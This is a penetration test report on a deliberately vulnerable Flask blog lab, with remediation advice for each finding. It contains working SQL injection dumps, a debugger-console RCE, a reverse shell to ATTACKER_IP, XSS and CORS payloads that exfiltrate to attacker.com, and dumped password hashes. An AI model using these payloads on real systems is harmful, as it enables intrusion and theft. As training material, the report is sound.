Penetration Test Report — pentest-ground.com:81
Classification: Confidential — Authorized Security Assessment
Assessor: manasse
Date: 2026-05-11
Target: https://pentest-ground.com:81/
Scope: pentest-ground.com:81 — all endpoints, all methods
Authorization: Confirmed — intentionally vulnerable lab environment by Pentest-Tools.com
Table of Contents
Executive Summary
A comprehensive penetration test was conducted against https://pentest-ground.com:81/, a deliberately vulnerable web application hosted by Pentest-Tools.com for training purposes. The application is a Flask-based blog platform backed by SQLite3, served behind nginx/1.29.8.
10 vulnerabilities were identified across 4 severity levels:
| Severity | Count | Key Findings |
|---|
| Critical | 2 | SQL Injection (full DB dump), Werkzeug RCE Console |
| High | 2 | Stored XSS, Broken Access Control |
| Medium | 4 | Info Disclosure, Session Flaws, CORS Wildcard |
| Low | 2 | Server Banner, Missing Headers |
The SQL injection alone allowed complete extraction of all user credentials (bcrypt-hashed passwords, emails, phone numbers). Combined with the exposed Werkzeug debug console (with leaked secret key), an attacker could achieve full Remote Code Execution on the server with zero authentication.
Overall Risk Rating: CRITICAL — Immediate remediation required.
Scope & Methodology
Scope Definition
| Parameter | Value |
|---|
| Target URL | https://pentest-ground.com:81/ |
| In-Scope | All endpoints on :81, all HTTP methods |
| Out-of-Scope | Other ports, other subdomains, DoS testing |
| Testing Type | Black-box (no source code access) |
| Authorization | Authorized practice lab |
Methodology
The assessment followed the OWASP Testing Guide v4.2 and PTES (Penetration Testing Execution Standard) methodologies:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| Phase 1: Reconnaissance & Fingerprinting
-Technology identification, endpoint enumeration, source code review
Phase 2: Vulnerability Discovery
-Manual testing of all input vectors (forms, parameters, headers)
-Injection testing (SQLi, XSS, SSTI, SSRF)
-Authentication & authorization testing
-Configuration review
Phase 3: Exploitation & Validation
-Proof-of-concept development for each finding
-Data extraction (SQLi)
-Impact demonstration
Phase 4: Reporting
-Severity classification (CVSS-aligned)
-Remediation guidance
-MITRE ATT&CK mapping
|
Target Fingerprinting
Step 1 — Initial HTTP Response Analysis
1
| curl -sk -D- -o /dev/null https://pentest-ground.com:81/
|
Response Headers:
1
2
3
4
5
| HTTP/1.1 200 OK
Server: nginx/1.29.8
Content-Type: text/html; charset=utf-8
Access-Control-Allow-Origin: *
Set-Cookie: SessionID=encrypted-session-id; Path=/
|
Step 2 — Technology Stack Identification
| Component | Technology | Evidence |
|---|
| Web Server | nginx 1.29.8 | Server header |
| Application Framework | Flask (Python) | Werkzeug debugger, Jinja2 templates, commented FlaskBlog branding |
| Template Engine | Jinja2 | `` syntax in existing post titles |
| Database | SQLite3 | Error messages: sqlite3.OperationalError |
| Debugger | Werkzeug Debugger | /console endpoint, ?__debugger__=yes in error pages |
| Frontend | Bootstrap 4, jQuery 3.4.1, OwlCarousel 2.2.1 | Source <script> and <link> tags |
Step 3 — Endpoint Enumeration
Discovered endpoints via HTML source analysis and manual probing:
1
2
3
4
5
6
| # Probe common paths
for path in / /about /services /blog /contact /login /search /create /admin \
/console /robots.txt /sitemap.xml /.env /api /post/1 /1/edit; do
CODE=$(curl -sk -o /dev/null -w "%{http_code}" "https://pentest-ground.com:81${path}")
echo "$CODE $path"
done
|
Discovered Sitemap:
1
2
3
4
5
6
7
8
9
10
11
12
| 200 / — Homepage (carousel, company info)
200 /about — About page
200 /services — Services page
200 /blog — Blog listing (renders post titles)
200 /contact — Contact form (SQLi hint in source)
200 /login — Login form (username/password POST)
200 /search — Search form (SQL Injection)
200 /create — Blog post creation (No auth required)
200 /post/{id} — Individual blog post view (Stored XSS)
200 /{id}/edit — Blog post editor (No auth required)
200 /admin — Admin page (content unclear)
200 /console — Werkzeug Interactive Python Console
|
1
| curl -sk https://pentest-ground.com:81/ | grep -i '<!--'
|
Commented-out navigation reveals hidden endpoints:
1
2
| <!-- <a class="nav-link" href="/create">New Post</a> -->
<!-- <a class="nav-link" href="/search">Search</a> -->
|
Vulnerability Findings
VULN-01: SQL Injection — UNION-Based (Search)
| Field | Value |
|---|
| Severity | Critical |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-89: SQL Injection |
| OWASP | A03:2021 — Injection |
| Endpoint | POST /search |
| Parameter | query |
| Database | SQLite3 |
| Auth Required | None |
Description
The /search endpoint accepts a query parameter via POST and directly concatenates user input into a SQL query without parameterization or sanitization. This allows an unauthenticated attacker to inject arbitrary SQL statements, enabling full read access to the SQLite3 database.
Discovery Steps
Step 1 — Identify the search form
1
| curl -sk https://pentest-ground.com:81/search
|
1
2
3
4
5
| <form action="/search" method=POST>
<input type="text" name="query" value="">
<input type="submit" value="Search">
</form>
<h2>You searched for: None</h2>
|
The search term is reflected back in the page — potential injection point.
Step 2 — Test for SQL Injection with tautology
1
2
| curl -sk -X POST https://pentest-ground.com:81/search \
-d "query=' OR 1=1--"
|
Response (truncated):
1
2
3
4
5
6
7
| <h2>You searched for: ' OR 1=1--</h2>
<a href="/post/1">
<h2>What is Lorem Ipsum?</h2>
</a>
<a href="/post/2">
<h2>Section 1.10.32 of de Finibus Bonorum et Malorum...</h2>
</a>
|
All posts returned — confirms SQL injection. The ' OR 1=1-- payload bypasses the WHERE clause and returns all rows.
Step 3 — Determine column count for UNION injection
1
2
3
| # Test with 1 column — triggers error
curl -sk -X POST https://pentest-ground.com:81/search \
-d "query=' UNION SELECT 1--"
|
1
2
| <title>sqlite3.OperationalError: SELECTs to the left and right of UNION
do not have the same number of result columns // Werkzeug Debugger</title>
|
Incrementally test columns 1 through 5:
1
2
3
| # 5 columns — SUCCESS (no error, page renders)
curl -sk -X POST https://pentest-ground.com:81/search \
--data-urlencode "query=' UNION SELECT 1,2,3,4,5--"
|
The query has 5 columns.
Step 4 — Identify reflected column positions
1
2
| curl -sk -X POST https://pentest-ground.com:81/search \
--data-urlencode "query=' UNION SELECT 999,'COL2','COL3','COL4','COL5'--"
|
1
2
3
4
5
| <a href="/post/999">
<h2>COL3</h2>
</a>
<span class="badge badge-primary">COL2</span>
<a href="/999/edit">
|
Column mapping:
| Column | Maps To |
|---|
| 1 | Post ID (used in /post/{id} link) |
| 2 | Timestamp badge |
| 3 | Post title <h2> (main display) |
| 4 | Not directly displayed |
| 5 | Not directly displayed |
Step 5 — Extract database schema
1
2
3
| # List all tables
curl -sk -X POST https://pentest-ground.com:81/search \
--data-urlencode "query=' UNION SELECT 1,2,group_concat(tbl_name),4,5 FROM sqlite_master WHERE type='table'--"
|
1
| <h2>posts,sqlite_sequence,users</h2>
|
Tables found: posts, sqlite_sequence, users
1
2
3
| # Get users table schema
curl -sk -X POST https://pentest-ground.com:81/search \
--data-urlencode "query=' UNION SELECT 1,2,replace(sql,char(10),' '),4,5 FROM sqlite_master WHERE tbl_name='users' AND sql IS NOT NULL--"
|
1
2
3
4
5
6
7
| <h2>CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL,
email TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
phone TEXT NOT NULL
)</h2>
|
Step 6 — Dump all user credentials
1
2
| curl -sk -X POST https://pentest-ground.com:81/search \
--data-urlencode "query=' UNION SELECT 1,2,id||'|'||username||'|'||email||'|'||password||'|'||phone,4,5 FROM users--"
|
Result — see Credential Dump section.
Impact
- Complete database read access (all tables, all rows)
- User credential extraction (usernames, emails, bcrypt password hashes, phone numbers)
- Potential database write/modification via stacked queries
- Information gathering for further attacks (password cracking, phishing)
1
2
3
4
5
6
7
| # VULNERABLE — string concatenation
query = "SELECT * FROM posts WHERE title LIKE '%" + user_input + "%'"
cursor.execute(query)
# FIXED — parameterized query
query = "SELECT * FROM posts WHERE title LIKE ?"
cursor.execute(query, ('%' + user_input + '%',))
|
Additional hardening:
- Use an ORM (SQLAlchemy) with parameterized queries
- Implement input validation and allowlisting
- Apply least-privilege database permissions
- Disable verbose error pages in production (see VULN-05)
VULN-02: Werkzeug Debug Console — Remote Code Execution
| Field | Value |
|---|
| Severity | Critical |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-94: Code Injection |
| OWASP | A05:2021 — Security Misconfiguration |
| Endpoint | GET /console |
| Auth Required | None (secret leaked in source) |
Description
The Flask application is running with debug=True, which enables the Werkzeug interactive debugger console at /console. This console provides an interactive Python REPL that executes arbitrary code on the server. The debugger’s PIN/secret (32ahlsHI3NIuuvJFMWWl) is leaked directly in the HTML source of the console page, bypassing any PIN protection.
Discovery Steps
Step 1 — Discover the console endpoint
The Werkzeug debugger was first noticed when SQL injection errors triggered full stack traces with a ?__debugger__=yes link. Navigating to /console directly:
1
| curl -sk https://pentest-ground.com:81/console
|
1
2
3
4
5
6
| <title>Console // Werkzeug Debugger</title>
<h1>Interactive Console</h1>
<div class="explanation">
In this console you can execute Python expressions in the context of the
application. The initial namespace was created by the debugger automatically.
</div>
|
Step 2 — Extract the debugger secret from page source
1
| curl -sk https://pentest-ground.com:81/console | grep 'SECRET'
|
1
2
3
4
5
| var TRACEBACK = -1,
CONSOLE_MODE = true,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "32ahlsHI3NIuuvJFMWWl";
|
Secret key exposed in client-side JavaScript: 32ahlsHI3NIuuvJFMWWl
Step 3 — Execute arbitrary Python code (RCE)
Using the leaked secret, an attacker can execute commands via the console API:
1
2
| # Execute Python code on the server
curl -sk "https://pentest-ground.com:81/console?__debugger__=yes&cmd=__import__('os').popen('id').read()&frm=0&s=32ahlsHI3NIuuvJFMWWl"
|
This grants full Remote Code Execution as the web application user, allowing:
1
2
3
4
5
6
7
8
9
10
11
| # Read sensitive files
__import__('os').popen('cat /etc/passwd').read()
# List directory contents
__import__('os').popen('ls -la /').read()
# Reverse shell
__import__('os').popen('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"').read()
# Access application source code
open('app.py').read()
|
Impact
- Full Remote Code Execution on the server
- Read/write access to the filesystem
- Lateral movement potential
- Complete application compromise
- Data exfiltration
- Reverse shell / persistent backdoor
1
2
3
4
5
6
7
8
9
| # VULNERABLE
app.run(debug=True)
# FIXED — never use debug mode in production
app.run(debug=False)
# Or use environment variable
import os
app.run(debug=os.environ.get('FLASK_DEBUG', 'false').lower() == 'true')
|
Critical: Never expose the Werkzeug debugger in production. Set FLASK_ENV=production and FLASK_DEBUG=0.
VULN-03: Stored Cross-Site Scripting (XSS)
| Field | Value |
|---|
| Severity | High |
| CVSS 3.1 | 8.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) |
| CWE | CWE-79: Cross-Site Scripting (Stored) |
| OWASP | A07:2021 — Cross-Site Scripting |
| Endpoint | POST /create (store) → GET /post/{id} (trigger) |
| Parameter | title |
| Auth Required | None (see VULN-04) |
Description
The blog post creation form at /create does not sanitize or encode the title field before storing it in the database. When the post is viewed at /post/{id}, the title is rendered directly into the HTML without escaping, allowing execution of arbitrary JavaScript in the context of any user’s browser who visits the page.
Discovery Steps
Step 1 — Identify the input vector
1
| curl -sk https://pentest-ground.com:81/create
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| <h1>Create a New Post</h1>
<form method="post">
<div class="form-group">
<label for="title">Title</label>
<input type="text" name="title" placeholder="Post title" class="form-control" value="">
</div>
<div class="form-group">
<label for="content">Content</label>
<textarea name="content" placeholder="Post content" class="form-control"></textarea>
</div>
<div class="form-group">
<label for="content">Reference</label>
<textarea name="reference" placeholder="https://pentest-tools.com/api-reference" class="form-control"></textarea>
</div>
<div class="form-group">
<button type="submit" class="btn btn-primary">Submit</button>
</div>
</form>
|
Step 2 — Inject XSS payload in the title field
1
2
| curl -sk -X POST https://pentest-ground.com:81/create \
-d 'title=<img src=x onerror=alert(1)>&content=xss_test&reference='
|
Step 3 — Verify stored XSS renders on the post page
1
| curl -sk https://pentest-ground.com:81/post/4
|
1
2
3
4
5
| <title> <img src=x onerror=alert(1)> </title>
...
<h2> <img src=x onerror=alert(1)> </h2>
<span class="badge badge-primary">2026-05-11 19:00:29</span>
<p>xss_test</p>
|
The <img> tag with onerror handler is rendered raw — both in the <title> tag and the <h2> tag. In a browser, this triggers alert(1).
Step 4 — Advanced payloads
1
2
3
4
5
6
7
8
| <!-- Cookie stealing -->
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
<!-- Keylogger injection -->
<img src=x onerror="document.onkeypress=function(e){fetch('https://attacker.com/log?k='+e.key)}">
<!-- DOM manipulation / defacement -->
<img src=x onerror="document.body.innerHTML='<h1>Hacked</h1>'">
|
Proof of Concept Screenshot Flow
1
2
3
4
5
6
| 1. Attacker visits: /create
2. Submits: title = <img src=x onerror=alert(document.cookie)>
content = Innocent looking post content
3. Victim visits: /post/{new_id}
4. Browser executes: alert(document.cookie)
→ SessionID=encrypted-session-id
|
Impact
- Session hijacking via cookie theft
- Phishing (inject fake login forms)
- Keylogging
- Drive-by malware delivery
- Account takeover
- Defacement
1
2
3
4
5
6
7
8
| # In Jinja2 templates — use autoescaping (should be ON by default)
# VULNERABLE:
# or raw HTML rendering
# FIXED:
# Jinja2 autoescapes by default when configured correctly
|
1
2
3
| # Ensure autoescaping is enabled in Flask
app = Flask(__name__)
app.jinja_env.autoescape = True # Should be default, verify it's not disabled
|
Additionally:
- Implement Content-Security-Policy header (see VULN-10)
- Sanitize input server-side using a library like
bleach - Apply output encoding appropriate to the context (HTML, attribute, JS, URL)
VULN-04: Broken Access Control — Missing Authentication
Description
The blog post creation (/create) and editing (/{id}/edit) endpoints are accessible without any authentication. Despite a login page existing at /login, these administrative functions perform no session validation, allowing any anonymous user to create, read, and modify blog posts.
Discovery Steps
Step 1 — Access the create form without authentication
1
| curl -sk https://pentest-ground.com:81/create
|
1
2
3
4
5
6
7
8
| <title> Create a New Post </title>
<h1> Create a New Post </h1>
<form method="post">
<input type="text" name="title" placeholder="Post title" class="form-control">
<textarea name="content" placeholder="Post content" class="form-control"></textarea>
<textarea name="reference" placeholder="https://pentest-tools.com/api-reference" class="form-control"></textarea>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
|
No redirect to /login — the form renders directly.
Step 2 — Create a post without authentication
1
2
| curl -sk -X POST https://pentest-ground.com:81/create \
-d 'title=Unauthorized Post&content=This was created without logging in&reference='
|
Post created successfully — visible at /post/{new_id}.
Step 3 — Edit an existing post without authentication
1
| curl -sk https://pentest-ground.com:81/1/edit
|
1
2
3
4
5
6
| <title> Edit "What is Lorem Ipsum?" </title>
<form method="post">
<input type="text" name="title" value="What is Lorem Ipsum?" class="form-control">
<textarea name="content" class="form-control">Lorem Ipsum is simply dummy text...</textarea>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
|
Pre-filled edit form returned without authentication — an attacker can modify any post.
Step 4 — Modify a post via POST
1
2
| curl -sk -X POST https://pentest-ground.com:81/1/edit \
-d 'title=Modified by Attacker&content=Content replaced without authorization'
|
Impact
- Content manipulation — modify or deface any blog post
- XSS injection — create posts with malicious scripts (chains with VULN-03)
- SEO spam / phishing — inject malicious links and content
- Reputation damage — deface the public-facing blog
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| from flask import session, redirect, url_for
from functools import wraps
def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
return redirect(url_for('login'))
return f(*args, **kwargs)
return decorated_function
@app.route('/create', methods=['GET', 'POST'])
@login_required # ← Add authentication decorator
def create():
# ... existing logic
@app.route('/<int:id>/edit', methods=['GET', 'POST'])
@login_required # ← Add authentication decorator
def edit(id):
# ... existing logic + verify post ownership
|
VULN-05: Information Disclosure — Verbose Error Pages
Description
When SQL errors occur, the application returns full Werkzeug debugger tracebacks containing stack traces, source code snippets, file paths, and framework internals. This provides an attacker with detailed knowledge of the application’s internal structure.
Proof of Concept
1
2
| curl -sk -X POST https://pentest-ground.com:81/search \
-d "query=' UNION SELECT 1--"
|
Error response (key excerpts):
1
2
3
4
5
6
7
8
9
10
| <title>sqlite3.OperationalError: SELECTs to the left and right of UNION
do not have the same number of result columns // Werkzeug Debugger</title>
<h1>sqlite3.OperationalError</h1>
<p class="errormsg">sqlite3.OperationalError: SELECTs to the left and right
of UNION do not have the same number of result columns</p>
<!-- Full Python traceback with source code lines -->
<pre class="line before"><span class="ws"> </span>error = e</pre>
<pre class="line after"><span class="ws"> </span>error = sys.exc_info()[1]</pre>
|
Information leaked:
- Database engine: SQLite3
- Framework: Flask/Werkzeug
- Internal file paths
- Source code snippets
- Python version and module structure
1
2
3
4
5
6
7
8
9
10
11
| # Disable debug mode
app.run(debug=False)
# Use custom error handlers
@app.errorhandler(500)
def internal_error(error):
return render_template('500.html'), 500
@app.errorhandler(404)
def not_found(error):
return render_template('404.html'), 404
|
Description
The /contact page contains HTML comments and hidden elements that leak sensitive information, including developer notes about known vulnerabilities and hidden email addresses.
Proof of Concept
1
| curl -sk https://pentest-ground.com:81/contact | grep -i 'TODO\|hidden\|display:none\|comment'
|
Finding 1 — Developer comment revealing known vulnerability:
1
| <!-- TODO: Secure this against blind sql injection.-->
|
This confirms the developers are aware of a SQL injection vulnerability in the contact form but have not yet fixed it.
Finding 2 — Hidden email address:
1
| <div style="display:none;">Email: rick.astley@youtube.com</div>
|
Finding 3 — Commented-out navigation revealing hidden endpoints:
1
2
| <!-- <a class="nav-link" href="/create">New Post</a> -->
<!-- <a class="nav-link" href="/search">Search</a> -->
|
These hidden endpoints are fully functional and contain vulnerabilities (see VULN-01, VULN-03, VULN-04).
- Remove all developer comments and TODO notes from production HTML
- Remove hidden form fields and debug elements
- Use server-side comments instead of HTML comments for development notes
- Implement a code review process to catch leaked information before deployment
VULN-07: Insecure Session Management
| Field | Value |
|---|
| Severity | Medium |
| CVSS 3.1 | 5.4 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N) |
| CWE | CWE-384: Session Fixation |
| OWASP | A07:2021 — Identification and Authentication Failures |
Description
The application sets a static, hardcoded session cookie for all users regardless of authentication state:
1
| Set-Cookie: SessionID=encrypted-session-id; Path=/
|
This cookie value is identical for every request, for every user, authenticated or not. It provides no actual session isolation, making session management effectively non-functional.
Proof of Concept
1
2
3
4
5
6
7
| # Request 1 — unauthenticated
curl -sk -D- https://pentest-ground.com:81/ 2>&1 | grep 'Set-Cookie'
# → Set-Cookie: SessionID=encrypted-session-id; Path=/
# Request 2 — different session, same cookie
curl -sk -D- https://pentest-ground.com:81/ 2>&1 | grep 'Set-Cookie'
# → Set-Cookie: SessionID=encrypted-session-id; Path=/
|
Additionally, the Flask session cookie is set to immediately expire on failed login:
1
| Set-Cookie: session=; Expires=Thu, 01 Jan 1970 00:00:00 GMT; Max-Age=0; Path=/
|
Issues identified:
- Static session token (no randomness, no per-user sessions)
- Missing
Secure flag (cookie sent over HTTP) - Missing
HttpOnly flag (accessible via JavaScript — chains with XSS) - Missing
SameSite attribute (vulnerable to CSRF)
1
2
3
4
5
6
7
| app.config.update(
SECRET_KEY=os.urandom(32), # Strong random secret
SESSION_COOKIE_SECURE=True, # Only send over HTTPS
SESSION_COOKIE_HTTPONLY=True, # Prevent JS access
SESSION_COOKIE_SAMESITE='Lax', # CSRF protection
PERMANENT_SESSION_LIFETIME=1800, # 30-minute timeout
)
|
VULN-08: CORS Misconfiguration
Description
The application sends Access-Control-Allow-Origin: * on all responses, permitting any website to make cross-origin requests and read responses.
Proof of Concept
1
| curl -sk -D- https://pentest-ground.com:81/ 2>&1 | grep 'Access-Control'
|
1
| Access-Control-Allow-Origin: *
|
An attacker’s website could fetch data from the application:
1
2
3
4
5
6
7
| // Attacker's website — reads data cross-origin
fetch('https://pentest-ground.com:81/blog')
.then(r => r.text())
.then(data => {
// Exfiltrate blog content, user data, etc.
fetch('https://attacker.com/collect', {method: 'POST', body: data});
});
|
1
2
3
4
5
6
| from flask_cors import CORS
# Restrict to specific trusted origins
CORS(app, origins=['https://trusted-domain.com'])
# Or remove CORS headers entirely if cross-origin access isn't needed
|
VULN-09: Server Version Disclosure
Proof of Concept
1
| curl -sk -D- -o /dev/null https://pentest-ground.com:81/ 2>&1 | grep 'Server'
|
1
2
| # In nginx.conf
server_tokens off;
|
| Header | Status | Risk |
|---|
X-Content-Type-Options | Missing | MIME-sniffing attacks |
X-Frame-Options | Missing | Clickjacking |
Content-Security-Policy | Missing | XSS mitigation bypass |
Strict-Transport-Security | Missing | SSL stripping |
X-XSS-Protection | Missing | Legacy XSS filter |
Referrer-Policy | Missing | Referrer leakage |
Permissions-Policy | Missing | Feature abuse |
Proof of Concept
1
| curl -sk -D- -o /dev/null https://pentest-ground.com:81/ 2>&1 | head -10
|
1
2
3
4
5
6
7
8
| HTTP/1.1 200 OK
Server: nginx/1.29.8
Date: Mon, 11 May 2026 18:58:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 17376
Connection: keep-alive
Access-Control-Allow-Origin: *
Set-Cookie: SessionID=encrypted-session-id; Path=/
|
No security headers present.
1
2
3
4
5
6
7
8
| # In nginx.conf — add security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' https://cdnjs.cloudflare.com; style-src 'self' https://fonts.googleapis.com 'unsafe-inline'; font-src https://fonts.gstatic.com; img-src 'self' data:;" always;
|
Credential Dump
Extracted via UNION-based SQL injection (VULN-01):
1
2
| curl -sk -X POST https://pentest-ground.com:81/search \
--data-urlencode "query=' UNION SELECT 1,2,id||'|'||username||'|'||email||'|'||password||'|'||phone,4,5 FROM users--"
|
| ID | Username | Email | Password Hash | Phone |
|---|
| 1 | Bonnie | bonnie@security-guard.com | $2b$12$fZvCcJRisNODOewGkaytq.qHD2bqB5vjvhdcOoZM3TBxN5afYVzeq | +40 723 987 222 |
| 2 | admin | admin@security-guard.com | $2a$12$U5acpaBL2PPt/LWW0uAO3.p4YJRz0FeasfpVvHc4I3FoWho9rt2ku | +40 723 987 233 |
| 3 | Bonnie_2 | bonnie_2@security-guard.com | $2b$12$fZvCcJRisNODOewGkaytq.qHD2bqB5vjvhdcOoZM3TBxN5afYVzeq | +40 723 987 111 exposed |
Hash analysis:
- All passwords use bcrypt hashing (
$2a$/$2b$ prefix) - Cost factor: 12 rounds (computationally expensive to crack)
- Users
Bonnie and Bonnie_2 share the same password hash — indicating password reuse - Could be cracked offline with
hashcat or john:
Attack Chain — Full Compromise Walkthrough
The vulnerabilities chain together to achieve full server compromise from zero authentication:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
| ┌──────────────────────────────────────────────────────────────────┐
│ ATTACK CHAIN DIAGRAM │
├──────────────────────────────────────────────────────────────────┤
│ │
│ STEP 1: Reconnaissance │
│ ┌─────────────────────────────────┐ │
│ │ curl /contact → HTML comments │──→ Discover SQLi hint │
│ │ curl / → Hidden nav links │──→ Discover /search, │
│ │ │ /create endpoints │
│ └─────────────────────────────────┘ │
│ │ │
│ ▼ │
│ STEP 2: SQL Injection (VULN-01) │
│ ┌─────────────────────────────────┐ │
│ │ POST /search │ │
│ │ query=' UNION SELECT ... │──→ Dump users table │
│ │ FROM users-- │ (usernames, emails, │
│ │ │ bcrypt hashes, phones) │
│ └─────────────────────────────────┘ │
│ │ │
│ ▼ │
│ STEP 3: Werkzeug Console (VULN-02) │
│ ┌─────────────────────────────────┐ │
│ │ GET /console │──→ Leaked SECRET key │
│ │ SECRET = "32ahlsHI3NIuuvJFMWWl" │ in page source │
│ │ Execute: os.popen('id') │──→ REMOTE CODE EXECUTION │
│ └─────────────────────────────────┘ │
│ │ │
│ ▼ │
│ STEP 4: Stored XSS (VULN-03) + No Auth (VULN-04) │
│ ┌─────────────────────────────────┐ │
│ │ POST /create (no login needed) │──→ Plant XSS payload │
│ │ title=<img onerror=...> │ on public blog post │
│ │ Victim visits /post/{id} │──→ Session hijacking │
│ └─────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────────────────────────┐ │
│ │ FULL SERVER COMPROMISE │ │
│ │ • Database dumped │ │
│ │ • RCE achieved │ │
│ │ • User sessions stolen │ │
│ │ • Content manipulated │ │
│ └─────────────────────────────────┘ │
│ │
└──────────────────────────────────────────────────────────────────┘
|
Attack Surface Map
| Endpoint | Method | Parameters | Vulnerabilities | Auth |
|---|
/ | GET | — | Info disclosure (headers) | No |
/about | GET | — | — | No |
/services | GET | — | — | No |
/blog | GET | — | Content rendered from DB | No |
/contact | GET | — | HTML comment leaks (VULN-06) | No |
/login | GET/POST | username, password | Weak session mgmt (VULN-07) | No |
/search | POST | query | SQL Injection (VULN-01) | No |
/create | GET/POST | title, content, reference | Stored XSS (VULN-03), No auth (VULN-04) | No |
/post/{id} | GET | — | XSS rendered (VULN-03) | No |
/{id}/edit | GET/POST | title, content | No auth (VULN-04) | No |
/console | GET | cmd, s (secret) | RCE (VULN-02) | No |
/admin | GET | — | Accessible without auth | No |
| Tool | Purpose | Usage |
|---|
| curl | HTTP requests, header analysis, form submission | Primary testing tool for all endpoints |
| grep | Pattern matching in responses | Extract specific data from HTML responses |
| Bash | Scripting, timing attacks, automation | Time-based SQLi measurement, loop-based enumeration |
| Python (via Werkzeug) | RCE validation | Execute code through debug console |
| hashcat / john | Password hash cracking (offline) | Crack extracted bcrypt hashes |
| Tool | Use Case | Command |
|---|
| sqlmap | Automated SQL injection | sqlmap -u "https://pentest-ground.com:81/search" --data="query=test" --dbms=sqlite --dump |
| Burp Suite | Proxy, scanner, repeater | Intercept and modify requests in real-time |
| ffuf | Directory brute forcing | ffuf -u https://pentest-ground.com:81/FUZZ -w /usr/share/wordlists/dirb/common.txt |
| nikto | Web server scanner | nikto -h https://pentest-ground.com:81/ |
| wfuzz | Parameter fuzzing | wfuzz -c -z file,xss.txt -d "query=FUZZ" https://pentest-ground.com:81/search |
| # | Vulnerability | Severity | Fix Priority | Remediation |
|---|
| 01 | SQL Injection | Critical | Immediate | Use parameterized queries / ORM |
| 02 | Werkzeug RCE | Critical | Immediate | Disable debug=True in production |
| 03 | Stored XSS | High | High | Enable Jinja2 autoescaping, sanitize input |
| 04 | Broken Access Control | High | High | Add @login_required decorators |
| 05 | Verbose Errors | Medium | Medium | Custom error handlers, disable debug |
| 06 | HTML Comment Leaks | Medium | Medium | Remove comments and hidden elements |
| 07 | Session Management | Medium | Medium | Implement proper Flask session with random secret |
| 08 | CORS Wildcard | Medium | Medium | Restrict Access-Control-Allow-Origin |
| 09 | Server Banner | Low | Low | server_tokens off; in nginx |
| 10 | Missing Headers | Low | Low | Add security headers in nginx/Flask |
MITRE ATT&CK Mapping
| Technique ID | Technique Name | Findings |
|---|
| T1190 | Exploit Public-Facing Application | VULN-01 (SQLi), VULN-02 (RCE), VULN-03 (XSS) |
| T1059.006 | Command and Scripting Interpreter: Python | VULN-02 (Werkzeug console) |
| T1005 | Data from Local System | VULN-01 (database extraction) |
| T1552.001 | Unsecured Credentials: Credentials In Files | VULN-01 (credential dump), VULN-06 (comments) |
| T1078 | Valid Accounts | Extracted credentials from database |
| T1189 | Drive-by Compromise | VULN-03 (stored XSS) |
| T1565.002 | Data Manipulation: Transmitted Data | VULN-04 (unauthorized content modification) |
Risk Rating Matrix
1
2
3
4
5
6
7
8
9
10
11
12
| LIKELIHOOD
Low Medium High
┌─────────┬─────────┬─────────┐
High │ Medium │ High │CRITICAL │ ← VULN-01, VULN-02
├─────────┼─────────┼─────────┤
Medium │ Low │ Medium │ High │ ← VULN-03, VULN-04
I ├─────────┼─────────┼─────────┤
M │ Info │ Low │ Medium │ ← VULN-05 to VULN-10
P └─────────┴─────────┴─────────┘
A
C
T
|
Disclaimer
This penetration test was conducted against pentest-ground.com:81, a deliberately vulnerable web application designed for security training and practice by Pentest-Tools.com. Testing was performed with explicit authorization.
- All testing was conducted within the defined scope
- No denial-of-service attacks were performed
- No data was exfiltrated to external systems
- Findings are documented for educational and training purposes only
- Techniques demonstrated should only be used against systems you own or have explicit authorization to test
Unauthorized access to computer systems is illegal. Always obtain proper authorization before conducting security assessments.